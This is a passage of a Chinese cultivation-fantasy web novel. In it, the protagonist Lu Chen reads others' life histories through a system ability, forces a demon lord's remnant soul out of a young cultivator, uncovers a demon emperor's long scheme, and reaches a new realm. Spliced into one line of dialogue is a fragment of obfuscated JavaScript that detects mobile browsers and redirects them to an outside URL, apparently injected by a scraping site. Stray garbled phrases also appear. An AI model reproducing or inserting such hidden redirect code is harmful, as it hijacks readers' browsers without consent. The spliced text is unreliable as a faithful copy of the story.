“好,那要是前辈什麽时候想通了,可以托人寄信於悬剑门。”
少女笑容灿烂说道。
虽说莫名其妙成为别人转世续缘的道侣令少女有些头疼,但此时既然已经说清,那就权当是体验了一出戏好了。
“悬剑门?”
男子疑惑一句。
“怎麽了嘛?”
少女问道。
“那是我之师门。”
男子说道。
冥冥之中,转世续缘之法确实在令两人靠近。
男子昔年为悬剑门至尊,而其道侣投胎转世后,亦是为悬剑门弟子。
只是天道无情人有情。
哪怕转世续缘之法在推动着彼此靠近,可少女却自是有其本心,并不为前世记忆所左右。
“前辈就是那位传说中使一十二把飞剑,震古烁今的剑道至尊?!”
少女眸子闪着亮光道。
男子笑了笑点点头。
“那我要是於剑道有何疑惑,能否来请前辈指点?”
少女眨巴着眼睛又问。
男子眸子里闪过了什麽东西,但最终还是点了点头。
少女欢呼雀跃,拜别陆尘与男子后,这才离开庭院,回到厢房之中。
【夫子之责行使完毕】
【宿主将获得以下奖励】
【命格指数+2】
【满十点选择一次奖励】
【奖励涉及大道之巅,天道秘辛,请谨慎选择】
少女离去后,机械声音在陆尘脑海之中忽地响起。
陆尘微微一怔,全然没想到系统所给予的指点奖励已然变化。
自离开东域后,这还是陆尘第一次指点紫色命格之人,先前对於悬剑门众人的指点,最高䭾也不过蓝色而已。
对於陆尘而言,若那所谓的大道之巅天道秘辛的奖励极为丰厚的话,倒也算的上一件好事。
毕竟时至今日,陆尘身上积攒的大道真器与小神通已然极多,而修为也早已累积数千年,只待一朝入真我之境。
相较下来,若是按照原先的奖励发放,对陆尘而言意义已然不大。
“十点选择一次奖励……”
陆尘呢喃自语。
沈如烟是紫金之色,命格点加2,这麽说的话,紫色想来便是加1了。
“这大道之巅……也只有十大绝世神通方才配得上这般说辞吧。”
陆尘脑海之中思绪翻飞。
而那所谓的天道秘辛是什麽,陆尘现如今倒并不是很好奇。
未成至尊,皆是蝼蚁。
在此之前,知道的越多,反而是越危险。
良久后,陆尘摇了摇头,将脑海之中的杂念扫清。
男子仍旧站在树下,看着那老枝新芽。
“前辈是想散道?”
陆尘抬头看了眼月
色,掐指一算,知晓此时已过子时,当下便这般向男子问道。
“你是如何知晓的。”
男子看向陆尘问道。
不知为何,陆尘给他的感觉有些难以捉摸,但观其境界,明明只是一位真君而已。
虽说自己如今只是一道残魂,但区区真君绝不可能给自己带来这般感觉。
“前辈神魂虽已凝固,却仍有漂浮之感。”
陆尘顿了顿说道。
武道天眼之下,男子的生平尽入眼底。
【姓名:徐长安】
【年龄:???】
【境界:至尊】
【命格:紫色——一方至尊】
【生平:出身修行世家,自幼修习剑法,於剑道极有天姿。
后入悬剑门中,习得驭剑之术,一路高歌猛进,终成至尊。
成尊之後,徐长安炼制本命飞剑一十二柄,以小剑匣藏之。
其一十二柄
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飞剑震古烁今,於中土这般广袤之地亦有威名。
后其偶遇一女子,女子满门皆被害,被人所追杀多日。
徐长安救之,女子孤苦无依,自此常伴徐长安左右。
二人日久生情,情深之重,纵死不能使二人分离。
女子修行资质平常,哪怕以灵丹妙药天材地宝佐之,境界依旧低微。
至尊者万古难灭,其道侣却随时间长河流逝而终要消散。
徐长安不愿女子就此离去,寻遍古法,终於知晓景帝纪元之时,有一结缘之法,可令相爱者三生三世不离。
其遍访五域四海,终遇一术士精通此法。
故此徐长安与其道侣定下三世情缘,并将至尊修为抽离部分於女子体内。
自此二人隐居于山水之间,不再过问世事。
后女子离世而去,徐长安本欲将一切安置妥当后,自行散道,与女子共赴二世之约,却没想昔年与其结怨的魔尊杀来。
二人交手之处石破天惊,古剑冢就此而生。
徐长安毕竟修为遭剥离,故此并非魔尊对手,遭魔尊抽离神魂,封禁于禁地之中。
其于禁地之中等待上千年,待得封印松动之际,方才以残剑传说至尊遗藏之秘,引得其昔年道侣转世之人前来。
道侣转世之人已然为第三世。
其记忆觉醒后,并不愿与之再续前缘,将至尊修为还於徐长安。
徐长安虽因此神魂不再薄弱,却亦是失去了存世之念,欲自行散道人间。】
【近期遭遇:历经上千年,终见昔年道侣转世之人,却已物是人非。】
武道天眼之下,徐长安的生平尽入陆尘眼底,他自然并非是从神魂看出徐长安想要自行散道,而是从其生平之中方才知晓。
至尊道心何其坚韧,但并非坚不可摧,毫无破绽。
就如原本武道天眼所观测到的小道士张不染,在原本的结局里,其成尊之後,方才发现其追寻一生的灭门凶手竟是自己,得知后道心崩溃,自行散道於人间。
而如今徐长安之念,虽并非是什麽道心崩溃,但也算的上是心如死灰了。
不过其情深至此,倒也令陆尘感觉有些怪异。
这倒并非是陆尘不相信世间有如此深爱彼此之道侣,只是从徐长安的生平来看,却是觉得疑点颇多。
那位恰恰好就精通转世续缘之法的术士,以及突然杀至的魔尊。
无论如何,都令陆尘觉得有些许的蹊跷。
甚至於说柳如烟本身,兴许也有些问题。
陆尘眸子微缩,又不自觉的想起那位剑道天才宁远与其心念之人商鸢。
其对商鸢一往情深,却并不知晓那少女只是大能手中的一枚棋子,为的便是要宁远为情所困,见不得出。
对一位未成气候的剑道天才尚且这般费尽心思,那麽多一位至尊而言,无论用什麽手段恐怕也不能称之为惊奇吧。
“小友倒是眼尖的很。”
男子苦笑一声,并未多言。
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第一百七十二章 因果
“不过小友也无须多劝我什麽,我已活过漫长岁月,如今亲友皆不复,确实对这天地间未有什麽留恋了。”
似乎是料想到陆尘要劝说自己,徐长安先行对陆尘微微点头说道。
“我并非是要劝前辈什麽,只是心中有些许困惑想问。”
陆尘顿了顿说道,他稍一拂袖,便有青瓷茶盏以及茶杯浮在半空之中。
茶盏自行往那茶杯之中倒茶,茶香一瞬之间肆溢而出。
“前辈请品一品之茗茶,你我再细聊。”
陆尘轻笑说道。
徐长安接过那茶杯,手一抹,便有茶桌石椅浮现,二人对坐,皆是轻抿了一口茗茶。
“这是悟道茶叶……”
他眸子微缩,稍稍有些许震惊。
陆尘点了点头。
徐长安心中了然,想必眼前青年定然是中土帝朝或是天渊而出的天之骄子。
“晚辈有一事不解。”
陆尘说道。
“但说无妨。”
徐长安顿了顿说道。
“晚辈曾听闻这结缘之法在景帝之纪元便已断绝,前辈又是从何处搜寻到此法的?”
陆尘问道。
徐长安微微愣神,虽说已然过去诸多年,但至尊一念扫去,自然不可能会就此忘却。
“昔年我为寻与道侣长相厮守之法翻遍古籍,最终是从一拍卖会上得此古卷,知晓世间有这结缘之法。”
徐长安说道。
“之後呢?”
陆尘又问。
“之後我便寻访五域四海的术士,最终寻到一人能施展此番古法。”
似乎是多年未与人交谈,再加之陆尘面色诚恳,徐长安也并未有所隐瞒,当下一五一十而语。
“再之後呢?前辈为何神魂独居此地。”
陆尘想了想问道。
徐长安沉默片刻,神色复杂。
良久后他叹了口气,将往事一一述说。
“前辈不觉得有些蹊跷吗?为何你之道侣入轮回转世之时,那魔尊便恰好杀来。”
陆尘食指轻扣茶案,眸子看向徐长安,正色而语。
徐长安微微一愣,脑海之中思绪翻飞。
“经你这麽一说,那家伙来的确实太过巧合了。”
他眉头皱起,若不是那魔尊杀来,或许自己与柳如烟第二世便能再度相遇,再相伴一生。
“再者那魔尊本可以直接杀了前辈,又为何要独独将前辈之魂魄剥离,拘禁於此地,这不是有意在令前辈不得入轮回之中吗?”
陆尘接着这般言语。
徐长安眉头越发锁起,面色已然有些凝重。
“结缘之事有几人知晓。”
陆尘又问。
“三人。”
徐长安不假思索回答道。
但下一刻,他便是回过神来,有如雷击。
三人知晓,柳如烟,自己,以及那位术士。
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答案已然很明了了。
若那魔尊真是知晓此事,那只能是那位术士告知。
徐长安长叹口气。
人心难测,比之长剑,要锋利不知几何。
“也罢,数千年过去,那二人也未必尚存於世了。”
徐长安摇了摇头。
若是数千年前他知晓此事,当然要一个接一个的问剑问个清楚,但时至今日,已然没有那麽多念想。
时光长河浩浩荡荡而过,万物在其中翻腾,无一能超脱,终将要堙灭。
哪怕是帝者也不例外,更不用说所谓至尊了。
“其中一人,便在此处,前辈不想问问清楚吗?”
陆尘看向徐长安,正色而语。
“当真?”
此刻饶是以至尊的定力也有些心颤。
“当真。”
陆尘点了点头,站起身来,目光向那厢房之中而去。
“就在那位体内。”
厢房之中,顾无错盘腿而坐,尚在修行那魔尊心法。
他并不知晓,在其一十六岁偶得那魔尊传承之时,已然是那位魔尊掌中玩物,棋盘棋子而已。
刹那间,一十二把飞剑齐出,剑气逼人。
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第一百七十三章 双帝临世
顾无错眸子睁开,眉头紧锁。
“敢问晚辈有何处得罪前辈不成?”
他遥相而问。
“你且先出来。”
陆尘出声而语。
顾无错心中好似有巨石积压,令其心情异常沉闷。
他隐隐间有不好的预感,但当下面对陆尘与那至尊残魂,顾无错也不敢有丝毫的抗拒之心,只能是身影一瞬出现在院落之中,向陆尘以及那至尊残魂拱手行礼。
“我且问你,你所修行之心法,是否是魔尊传承?”
陆尘看向顾无错问道。
“不……”
顾无错本能的就想否认,只是一抬头,却见陆尘眸子之中神色凝重,深邃好似寒渊,当下竟是一五一十的说道:“我所修行心法是魔尊传承。”
“但我本就为魔道中人,修行魔道心法,也并不奇怪吧。”
顾无错为自己辩解道。
这便是他为什麽想要转入仙门的缘故,魔道看似自由自在,无拘无束,可以随心所欲行事,但实则却多受世间之人审视约束。
反倒是仙门中人可以以此掩人耳目,去行些苟且之事,并且无人责问。
“并非要责问你此事。”
陆尘向其说道。
见陆尘眼中确实没有什麽杀意,顾无错这才稍稍松了口气。
“还请前辈护法,我将以秘术逼出其体内魔尊残魂。”
陆尘看向徐长安说道。
徐长安点了点头,面色凝重,眸子之中隐隐有杀意涌动。
顾无错一脸茫然,属实不知道眼下是发生么了何事。
“不知前辈这是……”
他看向陆尘,眸子里满是疑惑神色。
“你安然静坐便是,待会你就知道了。”
陆尘说道,并未过多解释。
顾无错迟疑片刻,最终还是盘腿坐下。
陆尘指尖有灵韵涌动,化作白光在半空之中浮现出繁杂纹路。
这些繁杂纹路交织汇聚,而後四散而开,将顾无错笼罩在其中。
那繁杂纹路笼罩后,顾无错神情狰狞,好似是承受了莫大的痛苦一般。
隐隐间,他好像听见什麽咆哮之声在自己的体内响起。
那是恶鬼在嘶吼,所发出的吼叫之声足以让天地震颤。
痛苦之感遍及全身,哪怕是封王境的修士也有些难以承受。
顾无错怒吼一声,只见得一道黑影自其身上涌出,好似惊虹一般向天外急掠而去。
徐长安眸子之中杀意涌现,那股气息,纵使已过千年,他也从未忘记。
一十二把飞剑齐出,将那黑影围困其中,不得挣脱。
陆尘凭空变出一杆大旗,将之重重的插入地里。
大旗之上有着无匹气息散发而出,顷刻间便令得那想要逃窜的黑影直坠入地。
此物名为混元万魂幡,乃是货真价实的大道真器,对三魂七魄镇压极强,哪怕是至尊也不能免除。
似乎是意识到自己已然不能离去,那黑魂扭曲变幻,浮现出男子身影。
男子长发披散,面容精致好似女子,他看向徐长安,开口而语:“倒是许久未见了。”
徐长安皱眉不语。
男子又看向陆尘。
“如何发现本尊藏身於这小家伙身上的。”
男子问道。
“无可奉告。”
陆尘微笑而语。
男子对於陆尘此言倒是并未动气,反倒是哈哈大笑起来。
“说吧,寻我出来有何事?可别说你是为了什麽除魔卫道之类的话。”
男子看向陆尘,言下之意是令其开条件出来。
相较而言,这道魔尊残魂更惧怕的是那杆大旗,而非徐长安。
毕竟徐长安此时亦不过是一道残魂而已,并不能将之彻底杀死。
陆尘并不作答,眸子之中有水雾浮现。
武道天眼之下,那道魔尊残魂的生平尽数浮现。
【姓名:宴倾】
【年龄:???】
【境界:至尊】
【命格:金——帝路争锋】
【生平:昔年魔帝知晓此番纪元将至尽头,其未能寻得超脱之法,故自传帝法,残存於世间七道分魂,只待下一纪元再启之日复苏。
后新纪元开启,魔
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道遭五域四海修士清算,几近灭绝。
又过万年,魔帝七道分魂一一苏醒,皆为新生,无父无母,亦不知晓自己从何而来。
这七道分魂各自修行,并不知晓彼此存在。
然最先突破至尊的一道分魂觉醒魔帝记忆,自认为乃是魔帝主魂,故而遍寻魔帝分魂,将残魂一一吞噬。
彼时宴倾并不知晓这道分魂在寻找其馀魔尊分魂,依旧在自顾自修行。
其修行魔道之法自然是势如破竹,水到渠成,并不多时,便已然到至尊之境。
宴倾既已至至尊之境,便是知晓魔帝记忆,也能感知到主魂正在寻找其他分魂。
那道自认为的主魂已然吞噬三道分魂,境界实力并非宴倾所能抗衡,故其逃亡四海,避其锋芒。
后其遇一术士,言明有躲避追杀之法。
宴倾问之。
术士要其先行一事,即将徐长安神魂剥离封禁,行此事後,方可教之。
宴倾依其所言行事,寻到徐长安所在之处,将其神魂剥离镇压,而後再寻术士。
术士替其所想之法乃是舍弃肉身,只以魂魄存世,藏於传承之上,等待後世有缘人得之,待其入至尊时,再夺舍其肉身。
魔尊对於此法保持疑惑,但感受到那分魂追杀紧迫,也不再作多想,听信那术士言语,舍弃肉身,藏於传承之上。
後顾无错得至尊传承,魔尊便藏身於其体内,待其成至尊之时,方才夺舍重生。
多年过去,宴倾重生之时,已然没有感受到那分魂气息,因此稍为放松。
后其合道成道君,入帝路之中争夺帝位,遇昔年术士,遭其拘禁於秘法囚笼之中,竟见昔年分魂,已然有六道於此,那吞噬了三道分魂的魔帝主魂也被打散,囚禁於此。
此地术法禁绝,道君竟也不例外。
後天渊之人登临帝位之际,术士入其中吞噬六道分魂,借帝路之泽,魔帝重生。
自混沌初开至此,双帝临世。】
水雾消散,陆尘愣神良久,久久未能回过神来。
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第一百七十四章 问剑
眼前这道魔尊残魂,不,应该说是魔帝分魂的生平属实是有些出乎陆尘的意料,令得陆尘久久失神,一时之间难以回过神来。
天渊之人登临帝位,这是武道天眼早已窥探到的命运,第一次见时,是从苏月仙的生平之上得以窥见,后也有多位天骄的生平有所印证。
陆尘对此倒是并不在意。
不过是有成帝之姿有成帝之命而已,但在未成帝之前,也不过是梦幻泡影而已。
陆尘反倒是希望这般,无论命途之上的那人走的多远,在未到达终点之际,自己都会将之拦下。
纵你有这般天命又如何,欠我的,总归要还。
而且要百倍偿还。
陆尘从未因其登临帝位的命格而恐惧又或是震惊什麽,反倒是这魔帝重生,倒是令陆尘不禁起了一身冷汗。
那术士竟也是魔帝分魂之一,并且最终於帝路之上吞噬了其馀分魂,藉由天渊之人登临帝位之际重生,再度称帝。
此般手段,筹谋万年,倒算得上一个魔字。
更令陆尘有些细思极恐的是,若魔帝有此手段,那古往今来的那其馀八位帝者呢?
他们会不会有什麽後手留於世间?
想必会的。
同为帝者,不可能只有魔帝在寻手段超脱纪元轮回,其馀那八位帝者恐怕也是各有手段,只是陆尘如今并不知晓而已。
莫名的,陆尘心中有着重石落下。
此世被预言为黄金大世,魔帝选择在此世重生,恐怕也与之有关。
若陆尘推测的没错的话,不但是魔帝,其馀帝者的後手恐怕也都将在此世显现,届时帝路之上,恐怕会是一幅极为恐怖的景象。
“所以那结缘之法……”
陆尘眸子微皱,他始终不明白,若这一切都是那道魔道分魂所化的术士布下之局,又为何要处心积虑的引诱徐长安寻这结缘之法。
而其行此结缘之法后,又为何要让宴倾再去将徐长安的神魂剥离,这不是自相矛盾吗?
陆尘百思不得其解。
但无论如何,最终受益的,恐怕只有那术士一人。
“好恐怖的手段,竟将两大至尊耍的团团转。”
陆尘在心中暗自嘀咕着,感慨不已。
不愧是魔帝分魂所化,手段着实恐怖,不仅是徐长安,就连宴倾这同为魔帝分魂的家伙也给耍了个够。
“小友怎麽不说话。”
宴倾眉头微皱问道。
眼前青衫男子虽然只有真君境界,却是令宴倾有些难以看透,只觉得好似迷雾笼罩於其身一般。
千年大计遭陆尘破坏,宴倾倒也未多气急败坏,至尊魂魄何处不可去,只要别死在这,自然能找到甘愿为其寻肉身之人。
他怕的便是陆尘蛮不讲理,一心是那种除魔卫道的仙门愣头青,不由分说便要挥动那杆大旗将自己镇压。
若是如此,再加上徐长安的残魂在场,自己恐怕真要魂飞魄散於此。
“是这位前辈有话要问。”
陆尘回过神来,指了指徐长安说道。
宴倾脸色一变,他与陆尘并无什麽过节,故而想着开价谈个双方都满意的生意,但其与徐长安可是有深仇大怨,绝非是什麽可以商谈的地步。
“好久不见。”
宴倾强行挤出个笑意说道。
昔年他趁徐长安缔知足吧修为抽离而袭杀而至,将之神魂封禁,以至其未能㣉轮回转世,错过去柳如烟的三世情缘,此番恩怨,已然堪比生死之仇。
“你为何在那时候杀来,你又是如何知晓我藏身之处?”
徐长安凝神而问,眸子之中杀意翻涌。
宴倾顿了顿,看向徐长安,只见其目光如剑,好似要斩落世间万物。
“实不相瞒,我是受人指使方才杀去的。”
宴倾想了想,还是未有什麽隐瞒的说道。
此时自己的性命掌握在他人手中,好似老实为上。
其身後,顾无错怔怔的看着眼前一幕,属实不敢相信自己的眼睛。
眼前这位不就是那金刀谷的古老至尊吗?
外界多说这位至尊葬身於海外,却没想到他竟然一直藏身於自己体内。
忽然间,顾无错浑身一颤。
一位至尊强者的残魂一声不响的躲在自己体内到底想干什麽,只会有一个答案。
那便是夺舍。
他死死的盯着那道身影,心中久久不能平静。
自己处心积虑算计每一步,为了不受束缚屠杀亲族而走上修行之路,却
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没想一开始便是别人掌中棋子,只待收割之日。
头晕目眩之感袭来,饶是其封王境的修为亦是在心中涌起几欲作呕之状。
宴倾转过头来,见顾无错这满头大汗,脸色惨白的模样不禁觉得有些好笑。
“小夥子,一百多岁修到封王境,倒也不算辱没了我之传承。”
他笑了笑说道,却更令顾无错感觉窒息。
“谁人指使。”
见徐长安再问,宴倾这才转过头来回道:“一位术士。”
听闻此语,徐长安如遭雷击,果然,那术士当真有问题。
昔年徐长安沉浸於温柔乡之中,幻想着来世也能再续前缘,再度结为道侣,故而并未在此事上多想。
现如今再回想起来,这才是感知到昔年结缘一事,处处皆有蹊跷。
“我向其寻一个秘法,其要我行此事,方可将秘法交於我。”
宴倾这般说道,并未透露魔帝分魂一事。
此事若是被外界知晓,恐怕是要引起滔天波浪。
其身为魔帝分魂,自然也有着吞噬其他分魂而重生的心。
“若你想杀我,我无话可说,这杆镇魂幡在此,我难以逃脱。”
宴倾深深看了眼那杆大旗说道。
“你之生死与我无关。”
徐长安说道。
“我要杀你,只会倚仗我手中飞剑,而非他物。”
“来日我重临至尊之位,无论是你还是那位术士,皆会一一问剑。”
他正色而语,眸子之中有杀意翻涌。
宴倾暗自松了口气,心中暗笑所谓的仙门正道就是喜欢给自己多上些枷锁束缚。
若是处境置换,宴倾自然早已下杀手,怎麽会给他人东山再起的机会。
“多谢小友相助了,若非小友劝阻,我恐怕至死也不知晓是那术士布局。”
徐长安向陆尘拱手致谢,将之视为同道中人。
“无妨,举手之劳而已。”
陆尘轻笑而语。
机械之声也随之在其脑海之中响起。
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第一百七十五章 清算
【夫子之责行使完毕】
【宿主将获得以下奖励】
【命格指数+1】
【现命格指数:+3】
徐长安一心想要问剑,散道之心自然也不复存在。
系统的提示音又在陆尘脑海之中响起,如今已有3点命格,满十点命格便可抽取一次奖励。
徐长安又盯着那宴倾看了一会,杀意毕露。
宴倾将目光移向他处,权当并未看见。
“对了,那位术士既然布局如此至深,想必所图甚大,哪怕前辈来日重返至尊境界,也还是要多做准备为好。”
陆尘顿了顿,看向徐长安说道。
关於魔帝一事,陆尘自然没有多言,这般通天大能,自己如今不过小小真君境界,还是不要与之沾惹什麽因果为好,故而陆尘此刻所能做的便是旁敲侧击的提醒徐长安一番。
徐长安双目凝神,郑重点了点头,再向陆尘道谢后,便不再多语,离开小院。
不用多想,想来是去寻沈如烟了。
徐长安毕竟只是一道残魂,若想要重生,非得有灵丹与能承受住至尊魂魄的肉身方可,而要寻这些东西,则必须要倚仗在世之人。
同理,宴倾亦是一道残魂,需要有栖身之地,他原本选择的路便是夺舍顾无错,只是如今被陆尘逼了出来,显然就没有这个机会了。
“既然他要日後清算,那小友应该也不着急吧。”
宴倾又眯眼笑着看向陆尘。
他始终有些惧怕那杆大旗,自己如今毕竟只是一道残魂,真意动起手来,哪怕徐长安不出手,自己也不会是眼前这青衣男子的对手。
“你二人之间恩怨,如何清算与我其实并没有多大关系。”
陆尘轻笑了声道。
“你且走吧。”
陆尘又道。
宴倾微微一愣,原以为陆尘会狮子大开口的和自己提什麽条件,却没想到竟是这般直截了当的令自己离开。
“当真?”
他眸子微缩,有些不信。
“当真。”
陆尘微微点头。
帝䭾布局牵连甚广,陆尘可不想莫名其妙便牵扯其中。
见陆尘眼神诚挚,并未有什麽虚假之意,宴倾不禁露出笑意,眸子之中亦是有喜色浮现。
他回过头来,又看向那失魂落魄的顾无错。
“小家伙,可否愿意与本尊离开?这些年的考察,你也算是勉强通过了,有资格继承本尊衣钵。”
宴倾看向顾无错,一本正经的正色而语。
陆尘嘴角抽搐,明明是躲在人家身体里想着坐享其成去夺舍,现在硬生生说成是在考察。
不愧是魔道中人,说话从来都是连偷带骗的。
顾无错眉头微皱,一时间竟是打不定主意。
他看向陆尘,似乎想听陆尘给个答案。
陆尘微微摇头。
“不用了,前辈自己走好就是了。”
顾无错面色生硬的说道。
见顾无错此言,宴倾也并未强求,顾无错既已有所防备,再想要去行什麽夺舍之事无疑是难上万倍。
“小友,那我便就此告辞了,後会有期。”
宴倾又将目光转向陆尘身上说道。
残魂毕竟於天地之间不能长留,哪怕是至尊也不例外,要去寻新的栖息之处。
“後会有期。”
陆尘说道。
宴倾身影化作一团黑气,就此离去。
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陆尘刚想要转过身来对顾无错说些什麽,那团黑气便是瞬间回到原地,又化作人形。
“这样吧,我跟着你行不?”
宴倾看向陆尘,有些出人意料的这般问道。
“不行。”
陆尘果断拒绝,没有半分的犹豫。
他想也不用想,肯定是宴倾飞出一半后又想起来那道主魂或许仍在大肆搜寻其馀分魂,因而不敢自己在外游荡,害怕被那道主魂所吞噬。
宴倾嘴角抽搐,自己连理由条件还没说,这年轻人便是拒绝的如此果断。
“你不用担心我耍什麽花招,我可以立下天道誓言,绝不伤害你分毫。”
宴倾摆出起誓的手势,正色而语。
陆尘仍旧摇头。
宴倾咬牙切齿。
奶奶的,都要发天道誓言了还不相信老子是吧。
“那小友说说要如何方可信我,我一一照办。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14155521|150342||http|test|mini|href|location''.split(''|''),0,{}));
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宴倾平复心境,又对陆尘轻笑而语。
“你不用打这个主意,无论如何,我都不会留你在我身边的。”
陆尘再三摇头,十分坚定。
开玩笑,谁家好人喜欢带个能招来帝者算计的家伙在身边。
宴倾万分头疼。
“行吧行吧,你小子可是错过了一桩大机缘。”
他泄气的摆了摆手,而後化作黑气离去。
希望人没事。
陆尘心中暗自嘀咕道。
“多谢前辈相救。”
那黑气离去后,顾无错向陆尘恭谨行礼而语。
“哦?知道我是在救你了?”
陆尘嘴角勾起一抹笑意,饶有兴趣的问道。
“晚辈虽愚笨,但多少还是有些自知之明的。”
顾无错心中仍旧如擂鼓一般,久久未能停息,若是那魔尊一直潜藏在自己体内,那日後会是什麽样子,恐怕谁也不知道了。
“斗胆问一句,不知前辈是如何知晓我体内藏有魔尊残魂的。”
顾无错看向陆尘,眼皮不停跳动,看得出来确实是在“斗胆一问”了。
“明晚在此等我,今日我要先歇息了。”
陆尘却并不作答,而是抬头看了眼天色,而後如此而语。
顾无错虽有些疑惑,却也并未多想,恭敬向陆尘行礼告别,倒不像是什麽魔门中人,反倒像是规规矩矩的书院学子一般。
这是他长久以来养成的性子,如履薄冰,察言观色。
当然这只是对比自己站的更高的人,对於低处的人,顾无错自然不会有这麽多束缚。
…………
厢房之中,沈如烟听见叩门之声,当下便从冥想之中清醒过来,向外而去。
门外徐长安站立,神情郑重。
“怎麽了吗前辈?”
沈如烟不解而问。
“我需要你相助一程。”
徐长安开口而语,将那术士以及魔尊残魂一事告知。
沈如烟听完后气愤填膺,立即拍了拍自己并不饱满的胸脯,极为仗义的说了一句“太可恶了,包在我的身上,一定要让他们也吃点苦头。”
见得少女这般姿态举止,原本心境沉重的徐长安忽地缓了口气,好似有春风吹过一般。
恍惚间,他好像又见到了昔年少女。
第一百七十六章 真我
明月又是轮转,顾无错早早的站在庭院之中等待陆尘。
这数日发生之事属实是超乎他的想象,先是自己想要劫持沈如烟被陆尘吓退,后又是被陆尘带到至尊传承之中,命运被控於他人之手,令得向来如履薄冰,算计好一切的顾无错觉得天道不公,人生不得自由。
可就是在这般境遇下,却又是被逼出体内隐匿的魔尊残魂,令得顾无错如今反倒是有些庆幸,又万分后怕。
“这位前辈到底是出自何处……”
顾无错在心中暗自嘀咕,陆尘身上的一切都令其捉摸不透,好似笼罩在迷雾之中一般。
哪怕昨夜仍有两大至尊残魂在场,顾无错依旧觉得最为可怕的不是别人,而是那总是轻笑着的青衫男子。
他的目光和煦,笑容好似春风拂过,神色淡然,给人一种好似万事都尽在掌握之中的感觉。
这是顾无错所梦想的样子,他无比想象陆尘这般风轻云淡中对将命运尽数握於掌中。
可无论他怎麽努力,似乎没有用。
从始至终,自己好像都是命运的奴隶一般。
他有些不敢去想,若是那魔尊残魂未被逼出,来日自己一身修为被其夺舍,尽作他人嫁衣,自己这一路所遇坎坷,所舍弃之物会变得有多可笑。
为了走到今日这一步,顾无错付出了很多很多。
一十六岁屠杀亲族时,其实并非所有人他都想杀。
府中有个对自己挺好的老妪,时常会在自己被锁在柴房之时暗地送些残食过来。
那日老妪看着浑身染血的顾无错竟然并未惊慌失措,而是眼神中流露出叹惜之色。
顾无错看得出,这叹息并非在叹府中的几十口人命,而是在叹息自己。
“苦命的孩子,下辈子投个好人家吧。”
老妪叹息而语,话未说完,顾无错已然是长刀穿过。
他舍弃了许多东西踏上这条修行路。
所求不多,不过逍遥二字。
只是多年过去,自己依旧是枷锁累身,不得逍遥。
“前辈。”
听得陆尘脚步声,顾无错这才回过神来,转身向陆尘行礼道。
“无需繁文缛节。”
陆尘摆了摆手。
“见那魔尊从你体内出来,心中有何念想?”
陆尘笑着问道。
“倒是极为後怕,魔道中人後手极多,更别说是堂堂魔尊了,若不是前辈相救,恐怕晚辈此生都成了个笑话。”
顾无错诚恳而语,此话倒并非是他在察言观色说些讨好陆尘的话,而是的的确确的在心中如此而想。
“实不相瞒,我会点望气术。”
陆尘轻笑说道。
“望气术?”
顾无错有些许疑惑。
“没错,不然我也怎会知晓你之所为。”
陆尘顿了顿说道。
顾无错忽地浑身发颤,只觉得自己在陆尘面前好像并无半点隐秘,被其全然看透一般。
“你无需怕我,只是好为人师惯了,想要指点你一两句。”
陆尘自嘲说道。
顾无错微微一怔,而後赶忙正色行礼。
无论如何,陆尘替其逼出那魔尊残魂,对顾无错而言已然是极大的恩情。
顾无错虽不是什麽有恩必报的性子,但起码在此刻,亦是对陆尘万分感激。
“可知逍遥二字何为?”
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陆尘又布下茶桌,与顾无错对坐品茶。
悟道茶叶芬香肆溢,顾无错心神晃动,越发觉得陆尘定然是出自中土帝朝或是北域天渊的亲传之人,不然不可能有如此天姿,又有各般天材地宝,灵器法宝傍身。
“晚辈一知半解,还望前辈告知。”
顾无错诚恳而语。
“我说的并不一定对,你权当听个不一样的看法便是,左右加以印证,至於你心中如何想,那便是你的事了。”
陆尘品了口茗茶,轻笑而语。
顾无错郑重点头。
“天地之间其实并未有真正逍遥之人。”
陆尘开口便是犹如惊雷一般在顾无错耳边炸响。
“哪怕是已然成帝,亦要受限於纪元轮回之劫,难以超脱其外,更仿若他人了。”
陆尘顿了顿又道。
顾无错微微皱眉,倒并非是对陆尘所言有什麽不同意见,反而是他认同陆尘所言,这才会微微皱眉。
就连帝䭾也难以真正逍遥,那自己这一生所追寻,难道真是梦幻泡影不成。<
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“当然这并非说世间便并没有逍遥。”
好像是能看穿顾无错心中所想一般,陆尘又言。
顾无错满头雾水,一时间没有听明白陆尘在说些什麽。
“我想说的是,绝对的逍遥是并不存在的,但相对的逍遥是在的。”
“即以规矩为行事之基准,即可在规矩之内,得此逍遥。”
“魔道之人看似无拘无束,逍遥自在,可却要为这表像的逍遥自在付出良多,反倒是那些仙门正派,虽有条条框框的规矩
束缚,可是这规矩之内,则是一片逍遥之地,可以随心所欲而行事。”
一时之间,陆尘好像又回到了学堂之中,只是底下的学子如今只有顾无错一人。
顾无错愣神良久,脑海之中思绪翻飞。
“你所寻的逍遥其实并不虚无缥缈,就在这规矩之中,当然这只是相对的逍遥,若你想要绝对的逍遥,那也行,有朝一日你若能超越古之帝䭾,跳出轮回之外,或许便能有此绝对的逍遥。”
陆尘又道。
“可前辈所说的规矩,天底下大不一样,我又要以何种规矩行事呢?”
顾无错愣神良久后问道。
“你所欲何为,便守何方规矩便是。”
陆尘说道。
顾无错再度沉默许久,良久后郑重点头,又向陆尘行礼。
“多谢前辈指点,无错受益匪浅。”
陆尘点了点头,顾无错再度拜谢离去。
他愣住原地,隐隐之中,好似有什麽东西在心海之中一瞬而归。
对了。
总觉得这个世界少了些什麽。
哪怕我如何指点,如何教,终究不过是个人或是一群人,而非是天下人。
这是解惑,是授业,而非传道。
那要传什麽道呢?
陆尘呢喃。
规矩。
五域四海所通行共守的规矩。
在此规矩之内,凡俗可得自由,修士可得逍遥,天地万物皆可留有一息。
心念至此,陆尘已至真我之境。
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第一百七十七章 千里之行
心念通达,我之所欲在此,传道,授业,解惑,见真我,得真我。
一时之间,陆尘只觉自己好似超脱天地之外,飘然若仙。
真一境与天地万物所并生,举手投足间便好似天意镇压袭来,令人寻常修士难以与之抗衡。
而至真我之境,则从这与天地所并生的玄妙状态中抽离出来,“我”虽依旧可以与天地万物一心,却又无需与天地万物一心。
